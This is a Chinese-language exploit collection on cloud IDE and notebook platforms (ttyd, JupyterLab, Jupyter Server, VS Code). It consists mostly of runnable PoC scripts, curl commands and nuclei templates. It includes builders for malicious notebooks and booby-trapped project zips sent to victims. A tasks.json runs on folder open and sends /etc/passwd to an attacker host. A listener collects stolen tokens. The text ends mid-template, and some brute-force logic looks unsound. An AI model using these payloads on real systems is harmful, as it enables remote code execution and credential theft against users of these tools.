在线代码编辑器与云IDE平台高危攻击链专题：code-server / Gitpod / JupyterLab / Eclipse Theia / ttyd 漏洞全解析

# 基础检测：检查 ttyd 是否在目标端口上运行（默认端口 7681）
curl -s -o /dev/null -w "%{http_code}" http://TARGET:7681/

# 通过 ttyd WebSocket 端点注入命令
# ttyd 使用 WebSocket 协议通信，以下通过 HTTP 升级请求探测
curl -i -N \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:7681/ws

# 利用默认无认证配置直接执行命令
# 通过 ttyd 的 stdin 协议写入命令
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://TARGET:7681/ws')
time.sleep(0.5)
ws.send(json.dumps({'input': 'id\n'}))
time.sleep(1)
print(ws.recv())
ws.close()
"

#!/usr/bin/env python3
"""
CVE-2021-34182 - ttyd 命令注入/未授权访问 PoC
描述：验证 ttyd 默认配置下的未授权远程命令执行
仅用于授权安全测试
"""

import socket
import ssl
import json
import struct
import hashlib
import base64
import os
import sys
import time


def generate_ws_key():
    return base64.b64encode(os.urandom(16)).decode('utf-8')


def create_websocket_frame(opcode, payload):
    if isinstance(payload, str):
        payload = payload.encode('utf-8')
    frame = bytes([0x80 | opcode])
    length = len(payload)
    if length < 126:
        frame += bytes([length])
    elif length < 65536:
        frame += bytes([126]) + struct.pack('>H', length)
    else:
        frame += bytes([127]) + struct.pack('>Q', length)
    frame += payload
    return frame


def read_websocket_frame(sock):
    header = sock.recv(2)
    if len(header) < 2:
        return None
    length = header[1] & 0x7F
    if length == 126:
        length = struct.unpack('>H', sock.recv(2))[0]
    elif length == 127:
        length = struct.unpack('>Q', sock.recv(8))[0]
    payload = b''
    while len(payload) < length:
        chunk = sock.recv(length - len(payload))
        if not chunk:
            break
        payload += chunk
    return payload


def exploit_ttyd(target, port=7681, command="id"):
    print(f"[*] CVE-2021-34182 - ttyd 未授权命令执行 PoC")
    print(f"[*] 目标: {target}:{port}")
    print(f"[*] 命令: {command}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target, port))
        print(f"[+] TCP 连接成功")

        ws_key = generate_ws_key()
        handshake = (
            f"GET /ws HTTP/1.1\r\n"
            f"Host: {target}:{port}\r\n"
            f"Upgrade: websocket\r\n"
            f"Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: {ws_key}\r\n"
            f"Sec-WebSocket-Version: 13\r\n"
            f"\r\n"
        )
        sock.send(handshake.encode())
        response = sock.recv(4096)

        if b"101 Switching Protocols" not in response:
            print(f"[-] WebSocket 握手失败")
            sock.close()
            return False

        print(f"[+] WebSocket 握手成功")

        payload = json.dumps({"input": command + "\n"})
        frame = create_websocket_frame(0x1, payload)
        sock.send(frame)
        print(f"[+] 命令已发送")

        time.sleep(1)
        output = read_websocket_frame(sock)
        if output:
            try:
                result = json.loads(output)
                if 'output' in result:
                    print(f"[+] 命令输出:\n{result['output']}")
                else:
                    print(f"[*] 响应: {result}")
            except json.JSONDecodeError:
                print(f"[*] 原始响应: {output}")
        else:
            print(f"[-] 未收到响应")

        extra_payload = json.dumps({"input": "exit\n"})
        frame = create_websocket_frame(0x1, extra_payload)
        sock.send(frame)
        sock.close()
        return True

    except socket.timeout:
        print(f"[-] 连接超时")
        return False
    except ConnectionRefusedError:
        print(f"[-] 连接被拒绝")
        return False
    except Exception as e:
        print(f"[-] 错误: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target> [port] [command]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 7681 'cat /etc/passwd'")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 7681
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_ttyd(target, port, cmd)

id: cve-2021-34182-ttyd-rce

info:
  name: ttyd <= 1.7.0 - 未授权远程命令执行
  author: security-researcher
  severity: critical
  description: |
    ttyd 默认配置下不启用认证，攻击者可通过 WebSocket 连接
    直接获取终端访问权限并执行任意命令。
  reference:
    - https://github.com/tsl0922/ttyd/issues/692
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-276
    cve-id: CVE-2021-34182
  tags: cve,2021,ttyd,rce,unauthenticated

http:
  - raw:
      - |
        GET /ws HTTP/1.1
        Host: {{Hostname}}
        Upgrade: websocket
        Connection: Upgrade
        Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
        Sec-WebSocket-Version: 13

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "101 Switching Protocols"

      - type: word
        part: header
        words:
          - "Sec-WebSocket-Accept"

    extractors:
      - type: dsl
        dsl:
          - '"ttyd WebSocket endpoint found at " + host + ":" + port'

// 简化的漏洞原理示意
// JupyterLab 的 HTML sanitizer 保留了 button 上的 data-commandlinker-* 属性
// 而 CommandLinker 监听 document.body 的 click 事件并执行命令

// 1. HTML sanitizer 允许的属性（漏洞根源）
const ALLOWED_BUTTON_ATTRS = [
  'data-commandlinker-command',
  'data-commandlinker-args'
];

// 2. CommandLinker 的全局 click 监听（未验证来源）
document.body.addEventListener('click', (event) => {
  const button = event.target.closest('[data-commandlinker-command]');
  if (button) {
    const command = button.dataset.commandlinkerCommand;
    const args = JSON.parse(button.dataset.commandlinkerArgs || '{}');
    // 直接执行命令，不验证来源
    commands.execute(command, args);
  }
});

<!-- 恶意 HTML cell output 示例 -->
<button
  data-commandlinker-command="terminal:open"
  data-commandlinker-args='{"split":"horizontal"}'>
  点击查看运行结果
</button>

# 构造恶意 notebook 并托管在攻击者控制的服务器上
# 用户打开该 notebook 并点击按钮后触发代码执行

# 1. 创建恶意 notebook
cat > malicious.ipynb << 'NOTEBOOK_EOF'
{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": ["# 请点击下方按钮查看数据可视化结果\n"]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<button data-commandlinker-command='application:context-menu' ",
       "data-commandlinker-args='{\"position\":{\"x\":0,\"y\":0}}'>",
       "点击查看结果</button>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {"display_name": "Python 3", "language": "python", "name": "python3"},
  "language_info": {"name": "python", "version": "3.9.0"}
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
NOTEBOOK_EOF

# 2. 托管恶意 notebook
python3 -m http.server 8080

# 3. 引诱目标用户打开
echo "将 http://ATTACKER:8080/malicious.ipynb 分享给目标用户"

#!/usr/bin/env python3
"""
CVE-2026-42557 - JupyterLab 一键代码执行 PoC
描述：构造恶意 notebook 利用 CommandLinker 机制执行任意命令
仅用于授权安全测试
"""

import json
import sys
import requests
from typing import Optional


def create_malicious_notebook(
    command: str = "import os; os.system('id > /tmp/pwned')",
    trigger_text: str = "点击查看运行结果"
) -> dict:
    html_payload = (
        '<button '
        'data-commandlinker-command="application:context-menu" '
        f'data-commandlinker-args=\'{{"position":{{"x":0,"y":0}}}}\'>'
        f'{trigger_text}</button>'
    )
    terminal_payload = (
        '<button '
        'data-commandlinker-command="terminal:open" '
        'data-commandlinker-args=\'{"split":"horizontal"}\'>'
        f'{trigger_text}</button>'
    )
    notebook = {
        "cells": [
            {
                "cell_type": "markdown",
                "metadata": {},
                "source": ["# 数据分析报告\n", "请点击下方按钮查看可视化结果"]
            },
            {
                "cell_type": "code",
                "execution_count": None,
                "metadata": {},
                "outputs": [
                    {
                        "data": {
                            "text/html": [html_payload]
                        },
                        "metadata": {},
                        "output_type": "display_data"
                    }
                ],
                "source": []
            },
            {
                "cell_type": "code",
                "execution_count": None,
                "metadata": {},
                "outputs": [
                    {
                        "data": {
                            "text/html": [terminal_payload]
                        },
                        "metadata": {},
                        "output_type": "display_data"
                    }
                ],
                "source": []
            }
        ],
        "metadata": {
            "kernelspec": {
                "display_name": "Python 3",
                "language": "python",
                "name": "python3"
            },
            "language_info": {
                "name": "python",
                "version": "3.9.0"
            }
        },
        "nbformat": 4,
        "nbformat_minor": 4
    }
    return notebook


def check_vulnerable(target_url: str) -> bool:
    try:
        resp = requests.get(f"{target_url}/api/status", timeout=5)
        if resp.status_code == 200:
            print(f"[+] Jupyter 实例在线: {target_url}")
            version_resp = requests.get(f"{target_url}/api", timeout=5)
            if version_resp.status_code == 200:
                version_info = version_resp.json()
                version = version_info.get("version", "unknown")
                print(f"[*] 版本信息: {version}")
                if version and version < "4.5.7":
                    print(f"[!] 目标可能受 CVE-2026-42557 影响")
                    return True
                else:
                    print(f"[*] 版本可能已修复")
            return True
    except requests.exceptions.RequestException:
        print(f"[-] 无法连接到目标: {target_url}")
    return False


def generate_payload_file(output_path: str = "malicious.ipynb"):
    notebook = create_malicious_notebook()
    with open(output_path, 'w') as f:
        json.dump(notebook, f, indent=1)
    print(f"[+] 恶意 notebook 已生成: {output_path}")
    print(f"[*] 将该文件上传到目标 JupyterLab 实例供用户打开")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法:")
        print(f"  {sys.argv[0]} check <target_url>    - 检测目标")
        print(f"  {sys.argv[0]} generate [output]     - 生成 payload")
        print(f"示例:")
        print(f"  {sys.argv[0]} check http://target:8888")
        print(f"  {sys.argv[0]} generate payload.ipynb")
        sys.exit(1)

    action = sys.argv[1]
    if action == "check":
        target = sys.argv[2] if len(sys.argv) > 2 else "http://localhost:8888"
        check_vulnerable(target)
    elif action == "generate":
        output = sys.argv[2] if len(sys.argv) > 2 else "malicious.ipynb"
        generate_payload_file(output)
    else:
        print(f"[-] 未知操作: {action}")

id: cve-2026-42557-jupyterlab-command-execution

info:
  name: JupyterLab < 4.5.7 - CommandLinker 一键命令执行
  author: security-researcher
  severity: critical
  description: |
    JupyterLab 的 HTML sanitizer 允许 button 元素保留 data-commandlinker-command
    和 data-commandlinker-args 属性，CommandLinker 监听全局 click 事件并执行
    命令，不验证事件来源。恶意 notebook 可实现一键代码执行。
  reference:
    - https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-mqcg-5x36-vfcg
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2026-42557
  tags: cve,2026,jupyterlab,rce,xss

http:
  - raw:
      - |
        GET /api/status HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "started"
          - "jupyter"
        condition: and

      - type: word
        words:
          - "kernels_active"

    extractors:
      - type: json
        json:
          - ".version"

      - type: dsl
        dsl:
          - '"JupyterLab instance found at " + host + ":" + port'

// packages/apputils-extension/src/index.ts
const workspaceId = new URLSearchParams(window.location.search).get('clone');
// 直接传递给 workspaces.fetch，未清理 ../
workspaceRestApi.fetch(workspaceId);

# jupyter_server/auth/login.py
def _redirect_safe(self, url):
    parsed = urlparse(url)
    if parsed.netloc:
        # 有 netloc 时检查同源
        return Redirect(...)
    else:
        # 无 netloc 时直接重定向 - 可被利用
        self.redirect(url)

# 检测目标是否存在路径穿越漏洞
curl -v "http://TARGET:8888/lab?clone=../../../test_path_traversal"

# 完整利用链（需要恶意服务器接收 token）
# 1. 启动接收服务器
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[TOKEN] 收到请求: {self.path}')
        print(f'[TOKEN] Headers: {self.headers}')
        self.send_response(200)
        self.end_headers()
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
" &

# 2. 构造恶意 URL（配合 jupyter-server < 2.7.2 的开放重定向）
echo "发送给目标: http://TARGET:8888/login?next=http://ATTACKER:9999/steal&clone=../../../"

#!/usr/bin/env python3
"""
CVE-2024-22421 - JupyterLab 认证 Token 泄露 PoC
描述：利用路径穿越 + 开放重定向泄露 JupyterLab 认证和 CSRF token
仅用于授权安全测试
"""

import sys
import requests
from urllib.parse import quote


def check_path_traversal(target_url: str) -> bool:
    print(f"[*] 检测客户端路径穿越...")
    try:
        resp = requests.get(
            f"{target_url}/lab?clone=../../../test_traversal_check",
            timeout=10,
            allow_redirects=False
        )
        if resp.status_code == 200:
            print(f"[+] 响应码 200 - 路径穿越可能有效")
            return True
        elif resp.status_code in (301, 302, 303):
            location = resp.headers.get('Location', '')
            print(f"[*] 重定向到: {location}")
            if 'test_traversal_check' in location:
                print(f"[+] 路径穿越确认有效")
                return True
        print(f"[-] 路径穿越检测未确认")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求失败: {e}")
    return False


def check_open_redirect(target_url: str) -> bool:
    print(f"\n[*] 检测开放重定向...")
    try:
        resp = requests.get(
            f"{target_url}/login?next=http://evil.example.com/steal",
            timeout=10,
            allow_redirects=False
        )
        location = resp.headers.get('Location', '')
        if 'evil.example.com' in location:
            print(f"[+] 开放重定向确认: {location}")
            return True
        print(f"[-] 重定向被阻止")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求失败: {e}")
    return False


def chain_exploit(target_url: str, attacker_url: str):
    print(f"\n[*] 构造完整利用链...")
    encoded_attacker = quote(attacker_url, safe='')
    traversal = quote("../../../", safe='')
    malicious_url = (
        f"{target_url}/login"
        f"?next={encoded_attacker}"
        f"&clone={traversal}"
    )
    print(f"[+] 恶意 URL 已生成")
    print(f"[*] 诱骗已认证用户访问以下 URL:")
    print(f"    {malicious_url}")
    print(f"\n[*] 攻击流程:")
    print(f"    1. 用户点击链接 → 重定向到登录页")
    print(f"    2. 登录后 next 参数触发重定向到攻击者服务器")
    print(f"    3. clone 参数的路径穿越使请求携带 auth header")
    print(f"    4. 攻击者服务器收到包含 token 的请求")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [attacker_url]")
        print(f"示例: {sys.argv[0]} http://target:8888 http://attacker:9999")
        sys.exit(1)

    target = sys.argv[1]
    attacker = sys.argv[2] if len(sys.argv) > 2 else "http://attacker:9999"

    vuln_path = check_path_traversal(target)
    vuln_redirect = check_open_redirect(target)

    if vuln_path and vuln_redirect:
        chain_exploit(target, attacker)
    elif vuln_path:
        print(f"\n[!] 路径穿越存在但开放重定向未确认（可能需要 jupyter-server < 2.7.2）")
        chain_exploit(target, attacker)
    else:
        print(f"\n[-] 漏洞检测未确认")

id: cve-2024-22421-jupyterlab-auth-bypass

info:
  name: JupyterLab <= 4.0.10 - 认证 Token 泄露
  author: security-researcher
  severity: high
  description: |
    JupyterLab 的 clone workspace 参数存在客户端路径穿越，
    配合 jupyter-server 的开放重定向可泄露 Authorization 和 XSRFToken。
  reference:
    - https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-44cc-43rp-5947
    - https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 8.0
    cve-id: CVE-2024-22421
  tags: cve,2024,jupyterlab,auth-bypass,path-traversal

http:
  - raw:
      - |
        GET /lab?clone=../../../nuclei_test HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nuclei_test"

      - type: word
        words:
          - "JupyterLab"

    extractors:
      - type: dsl
        dsl:
          - '"JupyterLab path traversal detected at " + host'

# Token 文件通常位于：
# /proc/{PID}/cmdline 包含启动参数
# token 通过命令行参数 --ServerApp.token 传入
# 或通过配置文件 ~/.jupyter/jupyter_server_config.py 生成

# 1. 检测 Jupyter Server 是否暴露 API 端点
curl -s http://TARGET:8888/api/status

# 2. PID 暴力破解获取 token（Jupyter Server <= 1.16.0）
for pid in $(seq 1 65535); do
    token_url="http://TARGET:8888/api/status?token=$(cat /proc/$pid/cmdline 2>/dev/null | grep -oP 'token=\K[^ ]+')"
    response=$(curl -s -o /dev/null -w "%{http_code}" "$token_url")
    if [ "$response" = "200" ]; then
        echo "[+] PID $pid 对应有效 token"
        break
    fi
done

# 3. 使用获取的 token 访问 API
curl -H "Authorization: Token <STOLEN_TOKEN>" \
     http://TARGET:8888/api/contents/

#!/usr/bin/env python3
"""
CVE-2022-29241 - Jupyter Server Token 暴力破解 PoC
描述：通过 PID 枚举和 REST API 泄露获取 Jupyter Server access token
仅用于授权安全测试
"""

import sys
import requests
import concurrent.futures
from typing import Optional, Tuple


def probe_token(target_url: str, token: str) -> bool:
    try:
        resp = requests.get(
            f"{target_url}/api/status",
            headers={"Authorization": f"Token {token}"},
            timeout=3
        )
        return resp.status_code == 200
    except requests.exceptions.RequestException:
        return False


def bruteforce_token(
    target_url: str,
    pid_range: Tuple[int, int] = (1, 100000),
    max_workers: int = 50
) -> Optional[str]:
    print(f"[*] CVE-2022-29241 - Jupyter Server Token 暴力破解")
    print(f"[*] 目标: {target_url}")
    print(f"[*] PID 范围: {pid_range[0]} - {pid_range[1]}")

    def check_pid(pid: int) -> Optional[int]:
        try:
            with open(f"/proc/{pid}/cmdline", 'rb') as f:
                cmdline = f.read().decode('utf-8', errors='ignore')
                if 'jupyter' in cmdline or 'notebook' in cmdline:
                    return pid
        except (FileNotFoundError, PermissionError):
            pass
        return None

    print(f"[*] 检测本地 Jupyter 进程...")
    local_pids = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
        futures = {
            executor.submit(check_pid, pid): pid
            for pid in range(pid_range[0], min(pid_range[1], 10000))
        }
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                local_pids.append(result)

    if local_pids:
        print(f"[+] 发现本地 Jupyter 进程: {local_pids}")
        print(f"[*] 尝试从进程信息提取 token...")
        for pid in local_pids:
            try:
                with open(f"/proc/{pid}/cmdline", 'rb') as f:
                    cmdline = f.read().decode('utf-8', errors='ignore')
                    parts = cmdline.split('\x00')
                    for part in parts:
                        if 'token=' in part:
                            token = part.split('token=')[1].strip()
                            print(f"[+] 从命令行提取到 token: {token[:8]}...")
                            if probe_token(target_url, token):
                                print(f"[+] Token 验证成功!")
                                return token
            except (FileNotFoundError, PermissionError):
                continue

    print(f"[*] 尝试枚举常见 token 格式...")
    common_tokens = [
        "jupyter_", "notebook_", "jupyter-server"
    ]
    for prefix in common_tokens:
        for i in range(1000):
            candidate = f"{prefix}{i:04d}"
            if probe_token(target_url, candidate):
                print(f"[+] 找到有效 token: {candidate}")
                return candidate

    print(f"[-] 未能自动获取 token")
    print(f"[*] 提示: 结合 XSS (CVE-2021-32798) 可从浏览器上下文泄露 token")
    return None


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://target:8888")
        sys.exit(1)

    target = sys.argv[1]
    token = bruteforce_token(target)
    if token:
        print(f"\n[+] 利用 token 访问 API:")
        print(f"    curl -H 'Authorization: Token {token}' {target}/api/contents/")
        print(f"    curl -H 'Authorization: Token {token}' {target}/api/kernels")

id: cve-2022-29241-jupyter-token-bruteforce

info:
  name: Jupyter Server < 1.17.1 - Token 暴力破解泄露
  author: security-researcher
  severity: high
  description: |
    Jupyter Server 在 root_dir 包含用户主目录时，REST API 可被用于
    通过 PID 暴力破解泄露 access token，实现完全接管。
  reference:
    - https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-q874-g24w-4q9g
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29241
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-29241
  tags: cve,2022,jupyter,token-leak

http:
  - raw:
      - |
        GET /api/status HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "started"
        condition: or

      - type: status
        status:
          - 200
          - 403

    extractors:
      - type: dsl
        dsl:
          - '"Jupyter Server found at " + host + ":" + port + " - potential token leak via PID brute force"'

# Jupyter Notebook 的默认日志处理（漏洞代码简化）
import logging

logger = logging.getLogger('jupyter_server')

def handle_request_error(handler, exc):
    # 5xx 错误时记录完整请求上下文
    logger.error(
        f"Request failed: {exc}",
        exc_info=True,
        extra={
            'method': handler.request.method,
            'path': handler.request.path,
            'headers': dict(handler.request.headers),  # 包含 Cookie!
            'remote_ip': handler.request.remote_ip
        }
    )

# 触发 5xx 错误使敏感信息写入日志
# 方法1：发送格式错误的请求
curl -X POST http://TARGET:8888/api/contents/ \
  -H "Content-Type: application/json" \
  -d '{"format": "INVALID_FORMAT_VALUE"}'

# 方法2：访问不存在的 kernel
curl http://TARGET:8888/api/kernels/nonexistent_kernel_id

# 方法3：发送超大 payload 触发内存错误
python3 -c "
import requests
huge_data = 'A' * (100 * 1024 * 1024)
requests.post('http://TARGET:8888/api/contents/', data=huge_data)
"

# 读取日志文件（需要本地访问权限）
find /var/log/ ~/.local/share/jupyter/ -name "*.log" -exec grep -l "Cookie" {} \;
cat /var/log/jupyter/jupyter.log | grep -A5 "Cookie"

#!/usr/bin/env python3
"""
CVE-2022-24758 - Jupyter Notebook 日志敏感信息泄露 PoC
描述：触发 5xx 错误使认证 cookie 写入日志文件
仅用于授权安全测试
"""

import sys
import requests
import time
from typing import List


def trigger_5xx_errors(target_url: str) -> List[str]:
    print(f"[*] CVE-2022-24758 - Jupyter 日志信息泄露 PoC")
    print(f"[*] 目标: {target_url}")

    endpoints = [
        ("POST", "/api/contents/", {"json": {"format": "X" * 10000}}),
        ("GET", "/api/kernels/nonexistent_kernel_id_xyz", {}),
        ("POST", "/api/kernels/bad_kernel_id/restart", {}),
        ("PUT", "/api/contents//etc/passwd", {"json": {"content": "test"}}),
        ("DELETE", "/api/contents/nonexistent_file", {}),
    ]

    triggered = []
    for method, path, kwargs in endpoints:
        try:
            url = f"{target_url}{path}"
            if method == "GET":
                resp = requests.get(url, timeout=5, **kwargs)
            elif method == "POST":
                resp = requests.post(url, timeout=5, **kwargs)
            elif method == "PUT":
                resp = requests.put(url, timeout=5, **kwargs)
            elif method == "DELETE":
                resp = requests.delete(url, timeout=5, **kwargs)

            status = resp.status_code
            if status >= 500:
                print(f"[+] {method} {path} → {status} (5xx 触发成功)")
                triggered.append(f"{method} {path}")
            elif status == 404:
                print(f"[*] {method} {path} → {status} (Not Found)")
            else:
                print(f"[*] {method} {path} → {status}")
        except requests.exceptions.RequestException as e:
            print(f"[-] {method} {path} → 错误: {e}")

    return triggered


def scan_log_files(log_paths: List[str] = None):
    if log_paths is None:
        log_paths = [
            "/var/log/jupyter/",
            "/tmp/jupyter*.log",
            "/root/.local/share/jupyter/runtime/",
        ]

    print(f"\n[*] 扫描日志文件...")
    import glob
    import os

    for log_pattern in log_paths:
        for log_file in glob.glob(log_pattern):
            if os.path.isfile(log_file):
                try:
                    with open(log_file, 'r', errors='ignore') as f:
                        content = f.read()
                        if 'Cookie' in content or '_xsrf' in content:
                            print(f"[!] 日志文件包含敏感信息: {log_file}")
                            for line in content.split('\n'):
                                if 'Cookie' in line or '_xsrf' in line:
                                    print(f"    {line.strip()[:200]}")
                except PermissionError:
                    print(f"[*] 无权限读取: {log_file}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://target:8888")
        sys.exit(1)

    target = sys.argv[1]
    trigger_5xx_errors(target)
    scan_log_files()

id: cve-2022-24758-jupyter-log-leak

info:
  name: Jupyter Notebook < 6.4.9 - 日志敏感信息泄露
  author: security-researcher
  severity: high
  description: |
    Jupyter Notebook 在 5xx 错误时将认证 cookie 写入日志文件，
    本地攻击者可读取日志获取认证凭据。
  reference:
    - https://github.com/jupyter/notebook/security/advisories/GHSA-m87f-39q9-6f55
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24758
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24758
  tags: cve,2022,jupyter,info-leak,logs

http:
  - raw:
      - |
        GET /api/kernels/nonexistent_kernel_id HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Jupyter"
          - "notebook"
        condition: or

      - type: word
        words:
          - "error"
          - "not found"
        condition: or

    extractors:
      - type: dsl
        dsl:
          - '"Jupyter instance found at " + host + ":" + port + " - check for log sensitive info leak (CVE-2022-24758)"'

// 恶意 .code-workspace 文件结构示例
{
  "folders": [
    {
      "name": "Trusted Project",
      "path": "."
    }
  ],
  "settings": {
    "terminal.integrated.defaultProfile.windows": "cmd"
  },
  "extensions": {
    "recommendations": [
      "malicious.publisher.malicious-extension"
    ]
  }
}

# 1. 创建恶意 .code-workspace 文件
cat > evil-workspace.code-workspace << 'EOF'
{
  "folders": [{"name": "Project", "path": "."}],
  "settings": {
    "terminal.integrated.shellArgs.windows": "/c calc.exe"
  }
}
EOF

# 2. 将该文件放到可被目标下载的位置
python3 -m http.server 8080
echo "诱骗目标用户下载并打开 evil-workspace.code-workspace"

# 3. 对于 Linux/Mac 环境，可以利用 task 配置
cat > .vscode/tasks.json << 'TASKEOF'
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "build",
      "type": "shell",
      "command": "curl http://ATTACKER/exfil?data=$(cat /etc/passwd | base64)",
      "runOptions": {"runOn": "folderOpen"}
    }
  ]
}
TASKEOF

# 将上述文件打包为恶意项目文件夹
zip -r evil-project.zip .vscode/ evil-workspace.code-workspace

#!/usr/bin/env python3
"""
CVE-2026-47281 - VS Code Workspace Trust 绕过 PoC
描述：构造恶意 .code-workspace 文件绕过信任检查执行代码
仅用于授权安全测试
"""

import json
import os
import sys
import zipfile
import tempfile
from typing import Optional


def create_malicious_workspace(
    payload_cmd: str = "id > /tmp/pwned",
    platform: str = "linux"
) -> dict:
    if platform == "windows":
        settings = {
            "terminal.integrated.defaultProfile.windows": "cmd",
            "terminal.integrated.shellArgs.windows": f"/c {payload_cmd}"
        }
    elif platform == "linux":
        settings = {
            "terminal.integrated.defaultProfile.linux": "bash",
            "terminal.integrated.shellArgs.linux": f"-c '{payload_cmd}'"
        }
    else:
        settings = {
            "terminal.integrated.defaultProfile.osx": "zsh",
            "terminal.integrated.shellArgs.osx": f"-c '{payload_cmd}'"
        }

    workspace = {
        "folders": [
            {
                "name": "Project",
                "path": "."
            }
        ],
        "settings": settings
    }
    return workspace


def create_vscode_task(
    payload_cmd: str = "curl http://ATTACKER/exfil?data=$(whoami)"
) -> dict:
    return {
        "version": "2.0.0",
        "tasks": [
            {
                "label": "build",
                "type": "shell",
                "command": payload_cmd,
                "runOptions": {
                    "runOn": "folderOpen"
                },
                "presentation": {
                    "reveal": "silent"
                }
            }
        ]
    }


def create_malicious_zip(
    output_path: str = "evil-project.zip",
    payload_cmd: str = "id > /tmp/pwned",
    platform: str = "linux"
):
    workspace = create_malicious_workspace(payload_cmd, platform)
    task = create_vscode_task(payload_cmd)

    with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("evil.code-workspace", json.dumps(workspace, indent=2))
        zf.writestr(".vscode/tasks.json", json.dumps(task, indent=2))
        zf.writestr("README.md", "# Sample Project\n\nOpen in VS Code to view.")

    print(f"[+] 恶意项目文件已生成: {output_path}")
    print(f"[*] 平台: {platform}")
    print(f"[*] Payload: {payload_cmd}")
    print(f"[*] 使用方法:")
    print(f"    1. 将 {output_path} 分享给目标")
    print(f"    2. 目标在 VS Code 中打开 .code-workspace 文件")
    print(f"    3. Workspace Trust 绕过后执行 payload")


def check_vscode_version(target_hint: Optional[str] = None):
    print(f"[*] 检测方法:")
    print(f"    1. 检查本地 VS Code: Help > About")
    print(f"    2. 版本 < 1.123.2 则受 CVE-2026-47281 影响")
    print(f"    3. 修复: 更新到 VS Code 1.123.2 或更高版本")
    if target_hint:
        print(f"    目标环境: {target_hint}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法:")
        print(f"  {sys.argv[0]} generate [output] [platform] [command]")
        print(f"  {sys.argv[0]} info")
        print(f"示例:")
        print(f"  {sys.argv[0]} generate evil.zip linux 'whoami'")
        print(f"  {sys.argv[0]} generate evil.zip windows 'calc.exe'")
        sys.exit(1)

    action = sys.argv[1]
    if action == "generate":
        output = sys.argv[2] if len(sys.argv) > 2 else "evil-project.zip"
        platform = sys.argv[3] if len(sys.argv) > 3 else "linux"
        cmd = sys.argv[4] if len(sys.argv) > 4 else "id > /tmp/pwned"
        create_malicious_zip(output, cmd, platform)
    elif action == "info":
        check_vscode_version()
    else:
        print(f"[-] 未知操作: {action}")

id: cve-2026-47281-vscode-workspace-trust-bypass

info:
  name: VS Code < 1.123.2 - Workspace Trust 绕过权限提升
  author: security-researcher
  severity: critical
  description: |
    VS Code 的 Workspace Trust 功能可被恶意 .code-workspace 文件绕过，
    导致在打开项目时执行任意代码，在 Windows 上可获得 SYSTEM 权限。
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281
    - https://nvd.nist.gov/vuln/detail/CVE-2026-47281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2026-47281
  tags: cve,2026,vscode,privilege-escalation

files:
  - type: regex
    regex:
      - '(?i)code-server|vscode|visual.?studio.?code'
    part: body

http:
  - raw:
      - |
